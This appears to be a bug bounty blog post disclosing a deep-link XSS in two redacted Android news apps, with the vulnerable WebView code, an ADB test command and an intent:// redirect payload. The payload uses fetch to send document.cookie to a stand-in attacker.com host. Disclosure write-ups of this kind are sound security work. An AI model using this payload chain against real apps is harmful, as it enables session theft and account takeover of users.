November 3, 2026
One-Click Cookie Theft via Deep Link XSS (But Deep Links Are Out of Scope)
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى…

By abdelnasser
1 min read
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى خَيْرِ مُعَلِّمِي اَلنَّاسِ اَلْخَيْرِ مُحَمَّدْ وَبَعْدٍ
Description
I was looking at the deep link handling in two Android news apps from a major European media conglomerate. The apps have a specific content page that loads data in a WebView via loadDataWithBaseURL(). The last path segment of the deep link URL is extracted and concatenated directly into a JavaScript string with zero sanitization. Since the base URL is the company's main domain, the injected JS runs in that origin and can read the session cookie, which is a JWT containing the user's email, account ID, and session ID. The cookie has no httpOnly flag so JavaScript reads it just fine. I found the same bug in two of their apps.
The report was closed as "Out of Scope" because the program lists "Intent / deep-link issues" as out of scope. Apparently a one-click account takeover is just a deep link issue if you squint hard enough.
Technical Details
The ContentFragment takes a URL from the deep link, extracts the last path segment, and drops it straight into a JavaScript string inside loadDataWithBaseURL():
// itemId is the last path segment of the deep link URL, no sanitization
String itemId = extractLastPathSegment(deepLinkUrl);
webView.loadDataWithBaseURL(CONTENT_BASE_URL,
"<script>" +
"window.__config = { itemId: '" + itemId + "' };" +
"</script>",
null, null, null);// itemId is the last path segment of the deep link URL, no sanitization
String itemId = extractLastPathSegment(deepLinkUrl);
webView.loadDataWithBaseURL(CONTENT_BASE_URL,
"<script>" +
"window.__config = { itemId: '" + itemId + "' };" +
"</script>",
null, null, null);There is no sanitization on itemId. Breaking out of the string is trivial with a single quote.
You can confirm execution via ADB:
am start -a android.intent.action.VIEW \
-d "https://redacted.com/content-page/~x'+alert(1337)+'"am start -a android.intent.action.VIEW \
-d "https://redacted.com/content-page/~x'+alert(1337)+'"For the full attack, the victim clicks a link to a page hosting the intent:// deep link. The page redirects the victim into the app with the XSS payload:
<script>
window.location = "intent://redacted.com/content-page/"
+ "~x'+fetch('https://attacker.com/collect?c='+document.cookie)+'"
+ "#Intent;scheme=https;package=com.redacted.app;end";
</script><script>
window.location = "intent://redacted.com/content-page/"
+ "~x'+fetch('https://attacker.com/collect?c='+document.cookie)+'"
+ "#Intent;scheme=https;package=com.redacted.app;end";
</script>The app loads the payload into the WebView under the main domain's origin. The session cookie (a JWT with email, account ID, and session ID) has no httpOnly flag, so document.cookie grabs it and sends it to the attacker's webhook. One click, full session stolen.
Takeaways
Never concatenate URL path segments into JavaScript strings. If the program scope says "deep-link issues" are out of scope but an XSS steals session cookies in one click, maybe the scope needs a second look.
Alhamdulillah for everything
#BugBounty #XSS #AndroidSecurity #AccountTakeover #DeepLinks